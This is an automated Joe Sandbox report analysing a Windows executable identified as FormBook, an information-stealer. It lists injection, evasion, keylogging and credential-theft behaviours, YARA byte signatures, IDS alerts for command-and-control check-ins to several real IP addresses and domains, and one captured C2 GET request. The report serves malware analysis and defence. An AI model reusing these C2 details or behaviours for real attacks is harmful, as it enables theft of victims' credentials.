Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
PO-000041522.exe

Overview

General Information

Sample name:PO-000041522.exe
Analysis ID:1540337
MD5:67da9bd36690b49a4fde479af5fda318
SHA1:b1f9a76703c0f9c4dc118acee204a5eb1e2e8faa
SHA256:c93fd56c4fa567a8dd4fd23e8efb169d767ef87f6be424dbc87fb6187fe2f40a
Tags:exeuser-abuse_ch
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
AI detected suspicious sample
Contains functionality to detect sleep reduction / modifications
Found direct / indirect Syscall (likely to bypass EDR)
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses netsh to modify the Windows network and firewall settings
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found evasive API chain (date check)
Found evasive API chain (may stop execution after checking a module file name)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
PE file contains an invalid checksum
Potential key logger detected (key state polling based)
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Uncommon Svchost Parent Process
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

  • System is w10x64
  • PO-000041522.exe (PID: 6392 cmdline: "C:\Users\user\Desktop\PO-000041522.exe" MD5: 67DA9BD36690B49A4FDE479AF5FDA318)
    • svchost.exe (PID: 4220 cmdline: "C:\Users\user\Desktop\PO-000041522.exe" MD5: 1ED18311E3DA35942DB37D15FA40CC5B)
      • mRCAFaTTtF.exe (PID: 6968 cmdline: "C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
        • netsh.exe (PID: 7392 cmdline: "C:\Windows\SysWOW64\netsh.exe" MD5: 4E89A1A088BE715D6C946E55AB07C7DF)
          • mRCAFaTTtF.exe (PID: 5196 cmdline: "C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exe" MD5: 32B8AD6ECA9094891E792631BAEA9717)
          • firefox.exe (PID: 7776 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
    0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
    • 0x2bec0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
    • 0x13f4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
    00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x2bec0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0x13f4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
        Click to see the 9 entries
        SourceRuleDescriptionAuthorStrings
        2.2.svchost.exe.3a0000.0.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          2.2.svchost.exe.3a0000.0.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x2e3e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0x16472:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          2.2.svchost.exe.3a0000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
            2.2.svchost.exe.3a0000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
            • 0x2f1e3:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
            • 0x17272:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01

            System Summary

            barindex
            Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Users\user\Desktop\PO-000041522.exe", CommandLine: "C:\Users\user\Desktop\PO-000041522.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO-000041522.exe", ParentImage: C:\Users\user\Desktop\PO-000041522.exe, ParentProcessId: 6392, ParentProcessName: PO-000041522.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO-000041522.exe", ProcessId: 4220, ProcessName: svchost.exe
            Source: Process startedAuthor: vburov: Data: Command: "C:\Users\user\Desktop\PO-000041522.exe", CommandLine: "C:\Users\user\Desktop\PO-000041522.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\PO-000041522.exe", ParentImage: C:\Users\user\Desktop\PO-000041522.exe, ParentProcessId: 6392, ParentProcessName: PO-000041522.exe, ProcessCommandLine: "C:\Users\user\Desktop\PO-000041522.exe", ProcessId: 4220, ProcessName: svchost.exe
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-23T17:32:23.514012+020020507451Malware Command and Control Activity Detected192.168.2.74979898.124.224.1780TCP
            2024-10-23T17:32:47.088771+020020507451Malware Command and Control Activity Detected192.168.2.749917217.70.184.5080TCP
            2024-10-23T17:33:00.732996+020020507451Malware Command and Control Activity Detected192.168.2.749953188.114.97.380TCP
            2024-10-23T17:33:15.399834+020020507451Malware Command and Control Activity Detected192.168.2.74998145.252.249.4380TCP
            2024-10-23T17:34:29.380412+020020507451Malware Command and Control Activity Detected192.168.2.74998685.159.66.9380TCP
            2024-10-23T17:34:42.858134+020020507451Malware Command and Control Activity Detected192.168.2.749993188.114.97.380TCP
            2024-10-23T17:34:56.486690+020020507451Malware Command and Control Activity Detected192.168.2.74999737.9.175.16380TCP
            2024-10-23T17:35:12.529943+020020507451Malware Command and Control Activity Detected192.168.2.750001202.87.223.24880TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-23T17:32:23.514012+020028554651A Network Trojan was detected192.168.2.74979898.124.224.1780TCP
            2024-10-23T17:32:47.088771+020028554651A Network Trojan was detected192.168.2.749917217.70.184.5080TCP
            2024-10-23T17:33:00.732996+020028554651A Network Trojan was detected192.168.2.749953188.114.97.380TCP
            2024-10-23T17:33:15.399834+020028554651A Network Trojan was detected192.168.2.74998145.252.249.4380TCP
            2024-10-23T17:34:29.380412+020028554651A Network Trojan was detected192.168.2.74998685.159.66.9380TCP
            2024-10-23T17:34:42.858134+020028554651A Network Trojan was detected192.168.2.749993188.114.97.380TCP
            2024-10-23T17:34:56.486690+020028554651A Network Trojan was detected192.168.2.74999737.9.175.16380TCP
            2024-10-23T17:35:12.529943+020028554651A Network Trojan was detected192.168.2.750001202.87.223.24880TCP
            TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
            2024-10-23T17:32:39.529483+020028554641A Network Trojan was detected192.168.2.749874217.70.184.5080TCP
            2024-10-23T17:32:42.045153+020028554641A Network Trojan was detected192.168.2.749886217.70.184.5080TCP
            2024-10-23T17:32:44.592035+020028554641A Network Trojan was detected192.168.2.749902217.70.184.5080TCP
            2024-10-23T17:32:53.748404+020028554641A Network Trojan was detected192.168.2.749933188.114.97.380TCP
            2024-10-23T17:32:55.651203+020028554641A Network Trojan was detected192.168.2.749939188.114.97.380TCP
            2024-10-23T17:32:58.192533+020028554641A Network Trojan was detected192.168.2.749946188.114.97.380TCP
            2024-10-23T17:33:08.119129+020028554641A Network Trojan was detected192.168.2.74996845.252.249.4380TCP
            2024-10-23T17:33:10.300622+020028554641A Network Trojan was detected192.168.2.74997845.252.249.4380TCP
            2024-10-23T17:33:12.846781+020028554641A Network Trojan was detected192.168.2.74998045.252.249.4380TCP
            2024-10-23T17:33:22.311072+020028554641A Network Trojan was detected192.168.2.74998385.159.66.9380TCP
            2024-10-23T17:33:24.857906+020028554641A Network Trojan was detected192.168.2.74998485.159.66.9380TCP
            2024-10-23T17:33:27.405921+020028554641A Network Trojan was detected192.168.2.74998585.159.66.9380TCP
            2024-10-23T17:34:35.224801+020028554641A Network Trojan was detected192.168.2.749987188.114.97.380TCP
            2024-10-23T17:34:37.774156+020028554641A Network Trojan was detected192.168.2.749988188.114.97.380TCP
            2024-10-23T17:34:40.334439+020028554641A Network Trojan was detected192.168.2.749989188.114.97.380TCP
            2024-10-23T17:34:48.833485+020028554641A Network Trojan was detected192.168.2.74999437.9.175.16380TCP
            2024-10-23T17:34:51.383294+020028554641A Network Trojan was detected192.168.2.74999537.9.175.16380TCP
            2024-10-23T17:34:53.955042+020028554641A Network Trojan was detected192.168.2.74999637.9.175.16380TCP
            2024-10-23T17:35:04.578183+020028554641A Network Trojan was detected192.168.2.749998202.87.223.24880TCP
            2024-10-23T17:35:07.108072+020028554641A Network Trojan was detected192.168.2.749999202.87.223.24880TCP
            2024-10-23T17:35:09.826853+020028554641A Network Trojan was detected192.168.2.750000202.87.223.24880TCP
            2024-10-23T17:35:18.289199+020028554641A Network Trojan was detected192.168.2.750002209.74.64.19080TCP

            Click to jump to signature section

            Show All Signature Results

            AV Detection

            barindex
            Source: PO-000041522.exeReversingLabs: Detection: 26%
            Source: Yara matchFile source: 2.2.svchost.exe.3a0000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.3a0000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3112295467.0000000000B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3123253426.0000000001140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.3123625955.0000000002DF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1384970518.00000000033E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
            Source: PO-000041522.exeJoe Sandbox ML: detected
            Source: PO-000041522.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
            Source: Binary string: netsh.pdb source: svchost.exe, 00000002.00000003.1342610042.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1342239991.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1342239991.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000003.1311938306.000000000105B000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000002.3121550063.000000000106E000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000003.1311938306.000000000106B000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: mRCAFaTTtF.exe, 00000009.00000000.1295861911.00000000005AE000.00000002.00000001.01000000.00000005.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3112297716.00000000005AE000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: PO-000041522.exe, 00000000.00000003.1264040005.0000000004330000.00000004.00001000.00020000.00000000.sdmp, PO-000041522.exe, 00000000.00000003.1261236525.0000000004690000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1384544030.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1276424320.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1384544030.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1278741824.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000003.1387846184.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3123664005.00000000013B0000.00000040.00001000.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3123664005.000000000154E000.00000040.00001000.00020000.00000000.sdmp, netsh.exe, 0000000B.00000003.1385110305.0000000001042000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: netsh.pdbGCTL source: svchost.exe, 00000002.00000003.1342610042.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1342239991.0000000002A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1342239991.0000000002A2B000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000003.1311938306.000000000105B000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000002.3121550063.000000000106E000.00000004.00000020.00020000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000003.1311938306.000000000106B000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: PO-000041522.exe, 00000000.00000003.1264040005.0000000004330000.00000004.00001000.00020000.00000000.sdmp, PO-000041522.exe, 00000000.00000003.1261236525.0000000004690000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1384544030.000000000319E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1276424320.0000000002C00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1384544030.0000000003000000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1278741824.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, netsh.exe, 0000000B.00000003.1387846184.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3123664005.00000000013B0000.00000040.00001000.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3123664005.000000000154E000.00000040.00001000.00020000.00000000.sdmp, netsh.exe, 0000000B.00000003.1385110305.0000000001042000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: netsh.exe, 0000000B.00000002.3115322736.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.0000000003A6C000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000000.1459897073.0000000002C0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.1691230052.0000000039D5C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: netsh.exe, 0000000B.00000002.3115322736.0000000000C63000.00000004.00000020.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.0000000003A6C000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000000.1459897073.0000000002C0C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.1691230052.0000000039D5C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00452126 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452126
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0045C999 FindFirstFileW,FindNextFileW,FindClose,0_2_0045C999
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00436ADE GetFileAttributesW,FindFirstFileW,FindClose,0_2_00436ADE
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00434BEE FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00434BEE
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0045DD7C FindFirstFileW,FindClose,0_2_0045DD7C
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0044BD29 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD29
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00436D2D FindFirstFileW,CreateFileW,SetFileTime,CloseHandle,SetFileTime,CloseHandle,0_2_00436D2D
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00442E1F SetCurrentDirectoryW,FindFirstFileW,SetCurrentDirectoryW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442E1F
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00475FE5 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_00475FE5
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0044BF8D _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8D
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B1C380 FindFirstFileW,FindNextFileW,FindClose,11_2_00B1C380
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 4x nop then pop edi2_2_003B8953
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 4x nop then pop edi2_2_003B894B
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 4x nop then xor eax, eax11_2_00B09A90
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 4x nop then pop edi11_2_00B15630
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 4x nop then pop edi11_2_00B15628
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 4x nop then mov ebx, 00000004h11_2_012904E8

            Networking

            barindex
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49798 -> 98.124.224.17:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49798 -> 98.124.224.17:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49874 -> 217.70.184.50:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49902 -> 217.70.184.50:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49933 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49993 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49986 -> 85.159.66.93:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49993 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49986 -> 85.159.66.93:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:50002 -> 209.74.64.190:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49968 -> 45.252.249.43:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49996 -> 37.9.175.163:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49999 -> 202.87.223.248:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49946 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49953 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49953 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49981 -> 45.252.249.43:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49981 -> 45.252.249.43:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49997 -> 37.9.175.163:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:49917 -> 217.70.184.50:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49997 -> 37.9.175.163:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49985 -> 85.159.66.93:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49980 -> 45.252.249.43:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49917 -> 217.70.184.50:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49939 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.7:50001 -> 202.87.223.248:80
            Source: Network trafficSuricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:50001 -> 202.87.223.248:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49987 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49989 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49988 -> 188.114.97.3:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49978 -> 45.252.249.43:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49995 -> 37.9.175.163:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49984 -> 85.159.66.93:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49998 -> 202.87.223.248:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49983 -> 85.159.66.93:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49886 -> 217.70.184.50:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:50000 -> 202.87.223.248:80
            Source: Network trafficSuricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49994 -> 37.9.175.163:80
            Source: DNS query: www.launchdreamidea.xyz
            Source: DNS query: www.kartal-nakliyat.xyz
            Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
            Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
            Source: Joe Sandbox ViewIP Address: 37.9.175.163 37.9.175.163
            Source: Joe Sandbox ViewASN Name: AZDIGI-AS-VNAZDIGICorporationVN AZDIGI-AS-VNAZDIGICorporationVN
            Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
            Source: Joe Sandbox ViewASN Name: WEBSUPPORT-SRO-SK-ASSK WEBSUPPORT-SRO-SK-ASSK
            Source: Joe Sandbox ViewASN Name: GANDI-ASDomainnameregistrar-httpwwwgandinetFR GANDI-ASDomainnameregistrar-httpwwwgandinetFR
            Source: Joe Sandbox ViewASN Name: CIZGITR CIZGITR
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0044289D InternetQueryDataAvailable,InternetReadFile,0_2_0044289D
            Source: global trafficHTTP traffic detected: GET /zt7d/?OReh1rq=gioIZrJHQSo5Twa9TT6znS2fp8FeqxYG9swkBqqgC+UipwurX93lliJtQqPWuIS6ZmF33XYXd2mTI6MGqYLGA7aepf23dKNnGtvBjHiHmMvjQtNcQ1gpkcMaXgjsQjVZxJ4sA2oNNTmX&CvQl=nrm0ZhFpzl HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USHost: www.gcast.videoConnection: closeUser-Agent: Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
